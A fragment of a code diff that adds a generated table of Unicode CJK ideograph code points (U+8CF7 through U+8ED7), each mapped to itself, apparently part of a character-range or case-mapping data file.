+ ["\u8CF7", "\u8CF7"], /* CJK Ideograph */
+ ["\u8CF8", "\u8CF8"], /* CJK Ideograph */
+ ["\u8CF9", "\u8CF9"], /* CJK Ideograph */
+ ["\u8CFA", "\u8CFA"], /* CJK Ideograph */
+ ["\u8CFB", "\u8CFB"], /* CJK Ideograph */
+ ["\u8CFC", "\u8CFC"], /* CJK Ideograph */
+ ["\u8CFD", "\u8CFD"], /* CJK Ideograph */
+ ["\u8CFE", "\u8CFE"], /* CJK Ideograph */
+ ["\u8CFF", "\u8CFF"], /* CJK Ideograph */
+ ["\u8D00", "\u8D00"], /* CJK Ideograph */
+ ["\u8D01", "\u8D01"], /* CJK Ideograph */
+ ["\u8D02", "\u8D02"], /* CJK Ideograph */
+ ["\u8D03", "\u8D03"], /* CJK Ideograph */
+ ["\u8D04", "\u8D04"], /* CJK Ideograph */
+ ["\u8D05", "\u8D05"], /* CJK Ideograph */
+ ["\u8D06", "\u8D06"], /* CJK Ideograph */
+ ["\u8D07", "\u8D07"], /* CJK Ideograph */
+ ["\u8D08", "\u8D08"], /* CJK Ideograph */
+ ["\u8D09", "\u8D09"], /* CJK Ideograph */
+ ["\u8D0A", "\u8D0A"], /* CJK Ideograph */
+ ["\u8D0B", "\u8D0B"], /* CJK Ideograph */
+ ["\u8D0C", "\u8D0C"], /* CJK Ideograph */
+ ["\u8D0D", "\u8D0D"], /* CJK Ideograph */
+ ["\u8D0E", "\u8D0E"], /* CJK Ideograph */
+ ["\u8D0F", "\u8D0F"], /* CJK Ideograph */
+ ["\u8D10", "\u8D10"], /* CJK Ideograph */
+ ["\u8D11", "\u8D11"], /* CJK Ideograph */
+ ["\u8D12", "\u8D12"], /* CJK Ideograph */
+ ["\u8D13", "\u8D13"], /* CJK Ideograph */
+ ["\u8D14", "\u8D14"], /* CJK Ideograph */
+ ["\u8D15", "\u8D15"], /* CJK Ideograph */
+ ["\u8D16", "\u8D16"], /* CJK Ideograph */
+ ["\u8D17", "\u8D17"], /* CJK Ideograph */
+ ["\u8D18", "\u8D18"], /* CJK Ideograph */
+ ["\u8D19", "\u8D19"], /* CJK Ideograph */
+ ["\u8D1A", "\u8D1A"], /* CJK Ideograph */
+ ["\u8D1B", "\u8D1B"], /* CJK Ideograph */
+ ["\u8D1C", "\u8D1C"], /* CJK Ideograph */
+ ["\u8D1D", "\u8D1D"], /* CJK Ideograph */
+ ["\u8D1E", "\u8D1E"], /* CJK Ideograph */
+ ["\u8D1F", "\u8D1F"], /* CJK Ideograph */
+ ["\u8D20", "\u8D20"], /* CJK Ideograph */
+ ["\u8D21", "\u8D21"], /* CJK Ideograph */
+ ["\u8D22", "\u8D22"], /* CJK Ideograph */
+ ["\u8D23", "\u8D23"], /* CJK Ideograph */
+ ["\u8D24", "\u8D24"], /* CJK Ideograph */
+ ["\u8D25", "\u8D25"], /* CJK Ideograph */
+ ["\u8D26", "\u8D26"], /* CJK Ideograph */
+ ["\u8D27", "\u8D27"], /* CJK Ideograph */
+ ["\u8D28", "\u8D28"], /* CJK Ideograph */
+ ["\u8D29", "\u8D29"], /* CJK Ideograph */
+ ["\u8D2A", "\u8D2A"], /* CJK Ideograph */
+ ["\u8D2B", "\u8D2B"], /* CJK Ideograph */
+ ["\u8D2C", "\u8D2C"], /* CJK Ideograph */
+ ["\u8D2D", "\u8D2D"], /* CJK Ideograph */
+ ["\u8D2E", "\u8D2E"], /* CJK Ideograph */
+ ["\u8D2F", "\u8D2F"], /* CJK Ideograph */
+ ["\u8D30", "\u8D30"], /* CJK Ideograph */
+ ["\u8D31", "\u8D31"], /* CJK Ideograph */
+ ["\u8D32", "\u8D32"], /* CJK Ideograph */
+ ["\u8D33", "\u8D33"], /* CJK Ideograph */
+ ["\u8D34", "\u8D34"], /* CJK Ideograph */
+ ["\u8D35", "\u8D35"], /* CJK Ideograph */
+ ["\u8D36", "\u8D36"], /* CJK Ideograph */
+ ["\u8D37", "\u8D37"], /* CJK Ideograph */
+ ["\u8D38", "\u8D38"], /* CJK Ideograph */
+ ["\u8D39", "\u8D39"], /* CJK Ideograph */
+ ["\u8D3A", "\u8D3A"], /* CJK Ideograph */
+ ["\u8D3B", "\u8D3B"], /* CJK Ideograph */
+ ["\u8D3C", "\u8D3C"], /* CJK Ideograph */
+ ["\u8D3D", "\u8D3D"], /* CJK Ideograph */
+ ["\u8D3E", "\u8D3E"], /* CJK Ideograph */
+ ["\u8D3F", "\u8D3F"], /* CJK Ideograph */
+ ["\u8D40", "\u8D40"], /* CJK Ideograph */
+ ["\u8D41", "\u8D41"], /* CJK Ideograph */
+ ["\u8D42", "\u8D42"], /* CJK Ideograph */
+ ["\u8D43", "\u8D43"], /* CJK Ideograph */
+ ["\u8D44", "\u8D44"], /* CJK Ideograph */
+ ["\u8D45", "\u8D45"], /* CJK Ideograph */
+ ["\u8D46", "\u8D46"], /* CJK Ideograph */
+ ["\u8D47", "\u8D47"], /* CJK Ideograph */
+ ["\u8D48", "\u8D48"], /* CJK Ideograph */
+ ["\u8D49", "\u8D49"], /* CJK Ideograph */
+ ["\u8D4A", "\u8D4A"], /* CJK Ideograph */
+ ["\u8D4B", "\u8D4B"], /* CJK Ideograph */
+ ["\u8D4C", "\u8D4C"], /* CJK Ideograph */
+ ["\u8D4D", "\u8D4D"], /* CJK Ideograph */
+ ["\u8D4E", "\u8D4E"], /* CJK Ideograph */
+ ["\u8D4F", "\u8D4F"], /* CJK Ideograph */
+ ["\u8D50", "\u8D50"], /* CJK Ideograph */
+ ["\u8D51", "\u8D51"], /* CJK Ideograph */
+ ["\u8D52", "\u8D52"], /* CJK Ideograph */
+ ["\u8D53", "\u8D53"], /* CJK Ideograph */
+ ["\u8D54", "\u8D54"], /* CJK Ideograph */
+ ["\u8D55", "\u8D55"], /* CJK Ideograph */
+ ["\u8D56", "\u8D56"], /* CJK Ideograph */
+ ["\u8D57", "\u8D57"], /* CJK Ideograph */
+ ["\u8D58", "\u8D58"], /* CJK Ideograph */
+ ["\u8D59", "\u8D59"], /* CJK Ideograph */
+ ["\u8D5A", "\u8D5A"], /* CJK Ideograph */
+ ["\u8D5B", "\u8D5B"], /* CJK Ideograph */
+ ["\u8D5C", "\u8D5C"], /* CJK Ideograph */
+ ["\u8D5D", "\u8D5D"], /* CJK Ideograph */
+ ["\u8D5E", "\u8D5E"], /* CJK Ideograph */
+ ["\u8D5F", "\u8D5F"], /* CJK Ideograph */
+ ["\u8D60", "\u8D60"], /* CJK Ideograph */
+ ["\u8D61", "\u8D61"], /* CJK Ideograph */
+ ["\u8D62", "\u8D62"], /* CJK Ideograph */
+ ["\u8D63", "\u8D63"], /* CJK Ideograph */
+ ["\u8D64", "\u8D64"], /* CJK Ideograph */
+ ["\u8D65", "\u8D65"], /* CJK Ideograph */
+ ["\u8D66", "\u8D66"], /* CJK Ideograph */
+ ["\u8D67", "\u8D67"], /* CJK Ideograph */
+ ["\u8D68", "\u8D68"], /* CJK Ideograph */
+ ["\u8D69", "\u8D69"], /* CJK Ideograph */
+ ["\u8D6A", "\u8D6A"], /* CJK Ideograph */
+ ["\u8D6B", "\u8D6B"], /* CJK Ideograph */
+ ["\u8D6C", "\u8D6C"], /* CJK Ideograph */
+ ["\u8D6D", "\u8D6D"], /* CJK Ideograph */
+ ["\u8D6E", "\u8D6E"], /* CJK Ideograph */
+ ["\u8D6F", "\u8D6F"], /* CJK Ideograph */
+ ["\u8D70", "\u8D70"], /* CJK Ideograph */
+ ["\u8D71", "\u8D71"], /* CJK Ideograph */
+ ["\u8D72", "\u8D72"], /* CJK Ideograph */
+ ["\u8D73", "\u8D73"], /* CJK Ideograph */
+ ["\u8D74", "\u8D74"], /* CJK Ideograph */
+ ["\u8D75", "\u8D75"], /* CJK Ideograph */
+ ["\u8D76", "\u8D76"], /* CJK Ideograph */
+ ["\u8D77", "\u8D77"], /* CJK Ideograph */
+ ["\u8D78", "\u8D78"], /* CJK Ideograph */
+ ["\u8D79", "\u8D79"], /* CJK Ideograph */
+ ["\u8D7A", "\u8D7A"], /* CJK Ideograph */
+ ["\u8D7B", "\u8D7B"], /* CJK Ideograph */
+ ["\u8D7C", "\u8D7C"], /* CJK Ideograph */
+ ["\u8D7D", "\u8D7D"], /* CJK Ideograph */
+ ["\u8D7E", "\u8D7E"], /* CJK Ideograph */
+ ["\u8D7F", "\u8D7F"], /* CJK Ideograph */
+ ["\u8D80", "\u8D80"], /* CJK Ideograph */
+ ["\u8D81", "\u8D81"], /* CJK Ideograph */
+ ["\u8D82", "\u8D82"], /* CJK Ideograph */
+ ["\u8D83", "\u8D83"], /* CJK Ideograph */
+ ["\u8D84", "\u8D84"], /* CJK Ideograph */
+ ["\u8D85", "\u8D85"], /* CJK Ideograph */
+ ["\u8D86", "\u8D86"], /* CJK Ideograph */
+ ["\u8D87", "\u8D87"], /* CJK Ideograph */
+ ["\u8D88", "\u8D88"], /* CJK Ideograph */
+ ["\u8D89", "\u8D89"], /* CJK Ideograph */
+ ["\u8D8A", "\u8D8A"], /* CJK Ideograph */
+ ["\u8D8B", "\u8D8B"], /* CJK Ideograph */
+ ["\u8D8C", "\u8D8C"], /* CJK Ideograph */
+ ["\u8D8D", "\u8D8D"], /* CJK Ideograph */
+ ["\u8D8E", "\u8D8E"], /* CJK Ideograph */
+ ["\u8D8F", "\u8D8F"], /* CJK Ideograph */
+ ["\u8D90", "\u8D90"], /* CJK Ideograph */
+ ["\u8D91", "\u8D91"], /* CJK Ideograph */
+ ["\u8D92", "\u8D92"], /* CJK Ideograph */
+ ["\u8D93", "\u8D93"], /* CJK Ideograph */
+ ["\u8D94", "\u8D94"], /* CJK Ideograph */
+ ["\u8D95", "\u8D95"], /* CJK Ideograph */
+ ["\u8D96", "\u8D96"], /* CJK Ideograph */
+ ["\u8D97", "\u8D97"], /* CJK Ideograph */
+ ["\u8D98", "\u8D98"], /* CJK Ideograph */
+ ["\u8D99", "\u8D99"], /* CJK Ideograph */
+ ["\u8D9A", "\u8D9A"], /* CJK Ideograph */
+ ["\u8D9B", "\u8D9B"], /* CJK Ideograph */
+ ["\u8D9C", "\u8D9C"], /* CJK Ideograph */
+ ["\u8D9D", "\u8D9D"], /* CJK Ideograph */
+ ["\u8D9E", "\u8D9E"], /* CJK Ideograph */
+ ["\u8D9F", "\u8D9F"], /* CJK Ideograph */
+ ["\u8DA0", "\u8DA0"], /* CJK Ideograph */
+ ["\u8DA1", "\u8DA1"], /* CJK Ideograph */
+ ["\u8DA2", "\u8DA2"], /* CJK Ideograph */
+ ["\u8DA3", "\u8DA3"], /* CJK Ideograph */
+ ["\u8DA4", "\u8DA4"], /* CJK Ideograph */
+ ["\u8DA5", "\u8DA5"], /* CJK Ideograph */
+ ["\u8DA6", "\u8DA6"], /* CJK Ideograph */
+ ["\u8DA7", "\u8DA7"], /* CJK Ideograph */
+ ["\u8DA8", "\u8DA8"], /* CJK Ideograph */
+ ["\u8DA9", "\u8DA9"], /* CJK Ideograph */
+ ["\u8DAA", "\u8DAA"], /* CJK Ideograph */
+ ["\u8DAB", "\u8DAB"], /* CJK Ideograph */
+ ["\u8DAC", "\u8DAC"], /* CJK Ideograph */
+ ["\u8DAD", "\u8DAD"], /* CJK Ideograph */
+ ["\u8DAE", "\u8DAE"], /* CJK Ideograph */
+ ["\u8DAF", "\u8DAF"], /* CJK Ideograph */
+ ["\u8DB0", "\u8DB0"], /* CJK Ideograph */
+ ["\u8DB1", "\u8DB1"], /* CJK Ideograph */
+ ["\u8DB2", "\u8DB2"], /* CJK Ideograph */
+ ["\u8DB3", "\u8DB3"], /* CJK Ideograph */
+ ["\u8DB4", "\u8DB4"], /* CJK Ideograph */
+ ["\u8DB5", "\u8DB5"], /* CJK Ideograph */
+ ["\u8DB6", "\u8DB6"], /* CJK Ideograph */
+ ["\u8DB7", "\u8DB7"], /* CJK Ideograph */
+ ["\u8DB8", "\u8DB8"], /* CJK Ideograph */
+ ["\u8DB9", "\u8DB9"], /* CJK Ideograph */
+ ["\u8DBA", "\u8DBA"], /* CJK Ideograph */
+ ["\u8DBB", "\u8DBB"], /* CJK Ideograph */
+ ["\u8DBC", "\u8DBC"], /* CJK Ideograph */
+ ["\u8DBD", "\u8DBD"], /* CJK Ideograph */
+ ["\u8DBE", "\u8DBE"], /* CJK Ideograph */
+ ["\u8DBF", "\u8DBF"], /* CJK Ideograph */
+ ["\u8DC0", "\u8DC0"], /* CJK Ideograph */
+ ["\u8DC1", "\u8DC1"], /* CJK Ideograph */
+ ["\u8DC2", "\u8DC2"], /* CJK Ideograph */
+ ["\u8DC3", "\u8DC3"], /* CJK Ideograph */
+ ["\u8DC4", "\u8DC4"], /* CJK Ideograph */
+ ["\u8DC5", "\u8DC5"], /* CJK Ideograph */
+ ["\u8DC6", "\u8DC6"], /* CJK Ideograph */
+ ["\u8DC7", "\u8DC7"], /* CJK Ideograph */
+ ["\u8DC8", "\u8DC8"], /* CJK Ideograph */
+ ["\u8DC9", "\u8DC9"], /* CJK Ideograph */
+ ["\u8DCA", "\u8DCA"], /* CJK Ideograph */
+ ["\u8DCB", "\u8DCB"], /* CJK Ideograph */
+ ["\u8DCC", "\u8DCC"], /* CJK Ideograph */
+ ["\u8DCD", "\u8DCD"], /* CJK Ideograph */
+ ["\u8DCE", "\u8DCE"], /* CJK Ideograph */
+ ["\u8DCF", "\u8DCF"], /* CJK Ideograph */
+ ["\u8DD0", "\u8DD0"], /* CJK Ideograph */
+ ["\u8DD1", "\u8DD1"], /* CJK Ideograph */
+ ["\u8DD2", "\u8DD2"], /* CJK Ideograph */
+ ["\u8DD3", "\u8DD3"], /* CJK Ideograph */
+ ["\u8DD4", "\u8DD4"], /* CJK Ideograph */
+ ["\u8DD5", "\u8DD5"], /* CJK Ideograph */
+ ["\u8DD6", "\u8DD6"], /* CJK Ideograph */
+ ["\u8DD7", "\u8DD7"], /* CJK Ideograph */
+ ["\u8DD8", "\u8DD8"], /* CJK Ideograph */
+ ["\u8DD9", "\u8DD9"], /* CJK Ideograph */
+ ["\u8DDA", "\u8DDA"], /* CJK Ideograph */
+ ["\u8DDB", "\u8DDB"], /* CJK Ideograph */
+ ["\u8DDC", "\u8DDC"], /* CJK Ideograph */
+ ["\u8DDD", "\u8DDD"], /* CJK Ideograph */
+ ["\u8DDE", "\u8DDE"], /* CJK Ideograph */
+ ["\u8DDF", "\u8DDF"], /* CJK Ideograph */
+ ["\u8DE0", "\u8DE0"], /* CJK Ideograph */
+ ["\u8DE1", "\u8DE1"], /* CJK Ideograph */
+ ["\u8DE2", "\u8DE2"], /* CJK Ideograph */
+ ["\u8DE3", "\u8DE3"], /* CJK Ideograph */
+ ["\u8DE4", "\u8DE4"], /* CJK Ideograph */
+ ["\u8DE5", "\u8DE5"], /* CJK Ideograph */
+ ["\u8DE6", "\u8DE6"], /* CJK Ideograph */
+ ["\u8DE7", "\u8DE7"], /* CJK Ideograph */
+ ["\u8DE8", "\u8DE8"], /* CJK Ideograph */
+ ["\u8DE9", "\u8DE9"], /* CJK Ideograph */
+ ["\u8DEA", "\u8DEA"], /* CJK Ideograph */
+ ["\u8DEB", "\u8DEB"], /* CJK Ideograph */
+ ["\u8DEC", "\u8DEC"], /* CJK Ideograph */
+ ["\u8DED", "\u8DED"], /* CJK Ideograph */
+ ["\u8DEE", "\u8DEE"], /* CJK Ideograph */
+ ["\u8DEF", "\u8DEF"], /* CJK Ideograph */
+ ["\u8DF0", "\u8DF0"], /* CJK Ideograph */
+ ["\u8DF1", "\u8DF1"], /* CJK Ideograph */
+ ["\u8DF2", "\u8DF2"], /* CJK Ideograph */
+ ["\u8DF3", "\u8DF3"], /* CJK Ideograph */
+ ["\u8DF4", "\u8DF4"], /* CJK Ideograph */
+ ["\u8DF5", "\u8DF5"], /* CJK Ideograph */
+ ["\u8DF6", "\u8DF6"], /* CJK Ideograph */
+ ["\u8DF7", "\u8DF7"], /* CJK Ideograph */
+ ["\u8DF8", "\u8DF8"], /* CJK Ideograph */
+ ["\u8DF9", "\u8DF9"], /* CJK Ideograph */
+ ["\u8DFA", "\u8DFA"], /* CJK Ideograph */
+ ["\u8DFB", "\u8DFB"], /* CJK Ideograph */
+ ["\u8DFC", "\u8DFC"], /* CJK Ideograph */
+ ["\u8DFD", "\u8DFD"], /* CJK Ideograph */
+ ["\u8DFE", "\u8DFE"], /* CJK Ideograph */
+ ["\u8DFF", "\u8DFF"], /* CJK Ideograph */
+ ["\u8E00", "\u8E00"], /* CJK Ideograph */
+ ["\u8E01", "\u8E01"], /* CJK Ideograph */
+ ["\u8E02", "\u8E02"], /* CJK Ideograph */
+ ["\u8E03", "\u8E03"], /* CJK Ideograph */
+ ["\u8E04", "\u8E04"], /* CJK Ideograph */
+ ["\u8E05", "\u8E05"], /* CJK Ideograph */
+ ["\u8E06", "\u8E06"], /* CJK Ideograph */
+ ["\u8E07", "\u8E07"], /* CJK Ideograph */
+ ["\u8E08", "\u8E08"], /* CJK Ideograph */
+ ["\u8E09", "\u8E09"], /* CJK Ideograph */
+ ["\u8E0A", "\u8E0A"], /* CJK Ideograph */
+ ["\u8E0B", "\u8E0B"], /* CJK Ideograph */
+ ["\u8E0C", "\u8E0C"], /* CJK Ideograph */
+ ["\u8E0D", "\u8E0D"], /* CJK Ideograph */
+ ["\u8E0E", "\u8E0E"], /* CJK Ideograph */
+ ["\u8E0F", "\u8E0F"], /* CJK Ideograph */
+ ["\u8E10", "\u8E10"], /* CJK Ideograph */
+ ["\u8E11", "\u8E11"], /* CJK Ideograph */
+ ["\u8E12", "\u8E12"], /* CJK Ideograph */
+ ["\u8E13", "\u8E13"], /* CJK Ideograph */
+ ["\u8E14", "\u8E14"], /* CJK Ideograph */
+ ["\u8E15", "\u8E15"], /* CJK Ideograph */
+ ["\u8E16", "\u8E16"], /* CJK Ideograph */
+ ["\u8E17", "\u8E17"], /* CJK Ideograph */
+ ["\u8E18", "\u8E18"], /* CJK Ideograph */
+ ["\u8E19", "\u8E19"], /* CJK Ideograph */
+ ["\u8E1A", "\u8E1A"], /* CJK Ideograph */
+ ["\u8E1B", "\u8E1B"], /* CJK Ideograph */
+ ["\u8E1C", "\u8E1C"], /* CJK Ideograph */
+ ["\u8E1D", "\u8E1D"], /* CJK Ideograph */
+ ["\u8E1E", "\u8E1E"], /* CJK Ideograph */
+ ["\u8E1F", "\u8E1F"], /* CJK Ideograph */
+ ["\u8E20", "\u8E20"], /* CJK Ideograph */
+ ["\u8E21", "\u8E21"], /* CJK Ideograph */
+ ["\u8E22", "\u8E22"], /* CJK Ideograph */
+ ["\u8E23", "\u8E23"], /* CJK Ideograph */
+ ["\u8E24", "\u8E24"], /* CJK Ideograph */
+ ["\u8E25", "\u8E25"], /* CJK Ideograph */
+ ["\u8E26", "\u8E26"], /* CJK Ideograph */
+ ["\u8E27", "\u8E27"], /* CJK Ideograph */
+ ["\u8E28", "\u8E28"], /* CJK Ideograph */
+ ["\u8E29", "\u8E29"], /* CJK Ideograph */
+ ["\u8E2A", "\u8E2A"], /* CJK Ideograph */
+ ["\u8E2B", "\u8E2B"], /* CJK Ideograph */
+ ["\u8E2C", "\u8E2C"], /* CJK Ideograph */
+ ["\u8E2D", "\u8E2D"], /* CJK Ideograph */
+ ["\u8E2E", "\u8E2E"], /* CJK Ideograph */
+ ["\u8E2F", "\u8E2F"], /* CJK Ideograph */
+ ["\u8E30", "\u8E30"], /* CJK Ideograph */
+ ["\u8E31", "\u8E31"], /* CJK Ideograph */
+ ["\u8E32", "\u8E32"], /* CJK Ideograph */
+ ["\u8E33", "\u8E33"], /* CJK Ideograph */
+ ["\u8E34", "\u8E34"], /* CJK Ideograph */
+ ["\u8E35", "\u8E35"], /* CJK Ideograph */
+ ["\u8E36", "\u8E36"], /* CJK Ideograph */
+ ["\u8E37", "\u8E37"], /* CJK Ideograph */
+ ["\u8E38", "\u8E38"], /* CJK Ideograph */
+ ["\u8E39", "\u8E39"], /* CJK Ideograph */
+ ["\u8E3A", "\u8E3A"], /* CJK Ideograph */
+ ["\u8E3B", "\u8E3B"], /* CJK Ideograph */
+ ["\u8E3C", "\u8E3C"], /* CJK Ideograph */
+ ["\u8E3D", "\u8E3D"], /* CJK Ideograph */
+ ["\u8E3E", "\u8E3E"], /* CJK Ideograph */
+ ["\u8E3F", "\u8E3F"], /* CJK Ideograph */
+ ["\u8E40", "\u8E40"], /* CJK Ideograph */
+ ["\u8E41", "\u8E41"], /* CJK Ideograph */
+ ["\u8E42", "\u8E42"], /* CJK Ideograph */
+ ["\u8E43", "\u8E43"], /* CJK Ideograph */
+ ["\u8E44", "\u8E44"], /* CJK Ideograph */
+ ["\u8E45", "\u8E45"], /* CJK Ideograph */
+ ["\u8E46", "\u8E46"], /* CJK Ideograph */
+ ["\u8E47", "\u8E47"], /* CJK Ideograph */
+ ["\u8E48", "\u8E48"], /* CJK Ideograph */
+ ["\u8E49", "\u8E49"], /* CJK Ideograph */
+ ["\u8E4A", "\u8E4A"], /* CJK Ideograph */
+ ["\u8E4B", "\u8E4B"], /* CJK Ideograph */
+ ["\u8E4C", "\u8E4C"], /* CJK Ideograph */
+ ["\u8E4D", "\u8E4D"], /* CJK Ideograph */
+ ["\u8E4E", "\u8E4E"], /* CJK Ideograph */
+ ["\u8E4F", "\u8E4F"], /* CJK Ideograph */
+ ["\u8E50", "\u8E50"], /* CJK Ideograph */
+ ["\u8E51", "\u8E51"], /* CJK Ideograph */
+ ["\u8E52", "\u8E52"], /* CJK Ideograph */
+ ["\u8E53", "\u8E53"], /* CJK Ideograph */
+ ["\u8E54", "\u8E54"], /* CJK Ideograph */
+ ["\u8E55", "\u8E55"], /* CJK Ideograph */
+ ["\u8E56", "\u8E56"], /* CJK Ideograph */
+ ["\u8E57", "\u8E57"], /* CJK Ideograph */
+ ["\u8E58", "\u8E58"], /* CJK Ideograph */
+ ["\u8E59", "\u8E59"], /* CJK Ideograph */
+ ["\u8E5A", "\u8E5A"], /* CJK Ideograph */
+ ["\u8E5B", "\u8E5B"], /* CJK Ideograph */
+ ["\u8E5C", "\u8E5C"], /* CJK Ideograph */
+ ["\u8E5D", "\u8E5D"], /* CJK Ideograph */
+ ["\u8E5E", "\u8E5E"], /* CJK Ideograph */
+ ["\u8E5F", "\u8E5F"], /* CJK Ideograph */
+ ["\u8E60", "\u8E60"], /* CJK Ideograph */
+ ["\u8E61", "\u8E61"], /* CJK Ideograph */
+ ["\u8E62", "\u8E62"], /* CJK Ideograph */
+ ["\u8E63", "\u8E63"], /* CJK Ideograph */
+ ["\u8E64", "\u8E64"], /* CJK Ideograph */
+ ["\u8E65", "\u8E65"], /* CJK Ideograph */
+ ["\u8E66", "\u8E66"], /* CJK Ideograph */
+ ["\u8E67", "\u8E67"], /* CJK Ideograph */
+ ["\u8E68", "\u8E68"], /* CJK Ideograph */
+ ["\u8E69", "\u8E69"], /* CJK Ideograph */
+ ["\u8E6A", "\u8E6A"], /* CJK Ideograph */
+ ["\u8E6B", "\u8E6B"], /* CJK Ideograph */
+ ["\u8E6C", "\u8E6C"], /* CJK Ideograph */
+ ["\u8E6D", "\u8E6D"], /* CJK Ideograph */
+ ["\u8E6E", "\u8E6E"], /* CJK Ideograph */
+ ["\u8E6F", "\u8E6F"], /* CJK Ideograph */
+ ["\u8E70", "\u8E70"], /* CJK Ideograph */
+ ["\u8E71", "\u8E71"], /* CJK Ideograph */
+ ["\u8E72", "\u8E72"], /* CJK Ideograph */
+ ["\u8E73", "\u8E73"], /* CJK Ideograph */
+ ["\u8E74", "\u8E74"], /* CJK Ideograph */
+ ["\u8E75", "\u8E75"], /* CJK Ideograph */
+ ["\u8E76", "\u8E76"], /* CJK Ideograph */
+ ["\u8E77", "\u8E77"], /* CJK Ideograph */
+ ["\u8E78", "\u8E78"], /* CJK Ideograph */
+ ["\u8E79", "\u8E79"], /* CJK Ideograph */
+ ["\u8E7A", "\u8E7A"], /* CJK Ideograph */
+ ["\u8E7B", "\u8E7B"], /* CJK Ideograph */
+ ["\u8E7C", "\u8E7C"], /* CJK Ideograph */
+ ["\u8E7D", "\u8E7D"], /* CJK Ideograph */
+ ["\u8E7E", "\u8E7E"], /* CJK Ideograph */
+ ["\u8E7F", "\u8E7F"], /* CJK Ideograph */
+ ["\u8E80", "\u8E80"], /* CJK Ideograph */
+ ["\u8E81", "\u8E81"], /* CJK Ideograph */
+ ["\u8E82", "\u8E82"], /* CJK Ideograph */
+ ["\u8E83", "\u8E83"], /* CJK Ideograph */
+ ["\u8E84", "\u8E84"], /* CJK Ideograph */
+ ["\u8E85", "\u8E85"], /* CJK Ideograph */
+ ["\u8E86", "\u8E86"], /* CJK Ideograph */
+ ["\u8E87", "\u8E87"], /* CJK Ideograph */
+ ["\u8E88", "\u8E88"], /* CJK Ideograph */
+ ["\u8E89", "\u8E89"], /* CJK Ideograph */
+ ["\u8E8A", "\u8E8A"], /* CJK Ideograph */
+ ["\u8E8B", "\u8E8B"], /* CJK Ideograph */
+ ["\u8E8C", "\u8E8C"], /* CJK Ideograph */
+ ["\u8E8D", "\u8E8D"], /* CJK Ideograph */
+ ["\u8E8E", "\u8E8E"], /* CJK Ideograph */
+ ["\u8E8F", "\u8E8F"], /* CJK Ideograph */
+ ["\u8E90", "\u8E90"], /* CJK Ideograph */
+ ["\u8E91", "\u8E91"], /* CJK Ideograph */
+ ["\u8E92", "\u8E92"], /* CJK Ideograph */
+ ["\u8E93", "\u8E93"], /* CJK Ideograph */
+ ["\u8E94", "\u8E94"], /* CJK Ideograph */
+ ["\u8E95", "\u8E95"], /* CJK Ideograph */
+ ["\u8E96", "\u8E96"], /* CJK Ideograph */
+ ["\u8E97", "\u8E97"], /* CJK Ideograph */
+ ["\u8E98", "\u8E98"], /* CJK Ideograph */
+ ["\u8E99", "\u8E99"], /* CJK Ideograph */
+ ["\u8E9A", "\u8E9A"], /* CJK Ideograph */
+ ["\u8E9B", "\u8E9B"], /* CJK Ideograph */
+ ["\u8E9C", "\u8E9C"], /* CJK Ideograph */
+ ["\u8E9D", "\u8E9D"], /* CJK Ideograph */
+ ["\u8E9E", "\u8E9E"], /* CJK Ideograph */
+ ["\u8E9F", "\u8E9F"], /* CJK Ideograph */
+ ["\u8EA0", "\u8EA0"], /* CJK Ideograph */
+ ["\u8EA1", "\u8EA1"], /* CJK Ideograph */
+ ["\u8EA2", "\u8EA2"], /* CJK Ideograph */
+ ["\u8EA3", "\u8EA3"], /* CJK Ideograph */
+ ["\u8EA4", "\u8EA4"], /* CJK Ideograph */
+ ["\u8EA5", "\u8EA5"], /* CJK Ideograph */
+ ["\u8EA6", "\u8EA6"], /* CJK Ideograph */
+ ["\u8EA7", "\u8EA7"], /* CJK Ideograph */
+ ["\u8EA8", "\u8EA8"], /* CJK Ideograph */
+ ["\u8EA9", "\u8EA9"], /* CJK Ideograph */
+ ["\u8EAA", "\u8EAA"], /* CJK Ideograph */
+ ["\u8EAB", "\u8EAB"], /* CJK Ideograph */
+ ["\u8EAC", "\u8EAC"], /* CJK Ideograph */
+ ["\u8EAD", "\u8EAD"], /* CJK Ideograph */
+ ["\u8EAE", "\u8EAE"], /* CJK Ideograph */
+ ["\u8EAF", "\u8EAF"], /* CJK Ideograph */
+ ["\u8EB0", "\u8EB0"], /* CJK Ideograph */
+ ["\u8EB1", "\u8EB1"], /* CJK Ideograph */
+ ["\u8EB2", "\u8EB2"], /* CJK Ideograph */
+ ["\u8EB3", "\u8EB3"], /* CJK Ideograph */
+ ["\u8EB4", "\u8EB4"], /* CJK Ideograph */
+ ["\u8EB5", "\u8EB5"], /* CJK Ideograph */
+ ["\u8EB6", "\u8EB6"], /* CJK Ideograph */
+ ["\u8EB7", "\u8EB7"], /* CJK Ideograph */
+ ["\u8EB8", "\u8EB8"], /* CJK Ideograph */
+ ["\u8EB9", "\u8EB9"], /* CJK Ideograph */
+ ["\u8EBA", "\u8EBA"], /* CJK Ideograph */
+ ["\u8EBB", "\u8EBB"], /* CJK Ideograph */
+ ["\u8EBC", "\u8EBC"], /* CJK Ideograph */
+ ["\u8EBD", "\u8EBD"], /* CJK Ideograph */
+ ["\u8EBE", "\u8EBE"], /* CJK Ideograph */
+ ["\u8EBF", "\u8EBF"], /* CJK Ideograph */
+ ["\u8EC0", "\u8EC0"], /* CJK Ideograph */
+ ["\u8EC1", "\u8EC1"], /* CJK Ideograph */
+ ["\u8EC2", "\u8EC2"], /* CJK Ideograph */
+ ["\u8EC3", "\u8EC3"], /* CJK Ideograph */
+ ["\u8EC4", "\u8EC4"], /* CJK Ideograph */
+ ["\u8EC5", "\u8EC5"], /* CJK Ideograph */
+ ["\u8EC6", "\u8EC6"], /* CJK Ideograph */
+ ["\u8EC7", "\u8EC7"], /* CJK Ideograph */
+ ["\u8EC8", "\u8EC8"], /* CJK Ideograph */
+ ["\u8EC9", "\u8EC9"], /* CJK Ideograph */
+ ["\u8ECA", "\u8ECA"], /* CJK Ideograph */
+ ["\u8ECB", "\u8ECB"], /* CJK Ideograph */
+ ["\u8ECC", "\u8ECC"], /* CJK Ideograph */
+ ["\u8ECD", "\u8ECD"], /* CJK Ideograph */
+ ["\u8ECE", "\u8ECE"], /* CJK Ideograph */
+ ["\u8ECF", "\u8ECF"], /* CJK Ideograph */
+ ["\u8ED0", "\u8ED0"], /* CJK Ideograph */
+ ["\u8ED1", "\u8ED1"], /* CJK Ideograph */
+ ["\u8ED2", "\u8ED2"], /* CJK Ideograph */
+ ["\u8ED3", "\u8ED3"], /* CJK Ideograph */
+ ["\u8ED4", "\u8ED4"], /* CJK Ideograph */
+ ["\u8ED5", "\u8ED5"], /* CJK Ideograph */
+ ["\u8ED6", "\u8ED6"], /* CJK Ideograph */
+ ["\u8ED7", "\u8ED7"], /* CJK Ideograph */
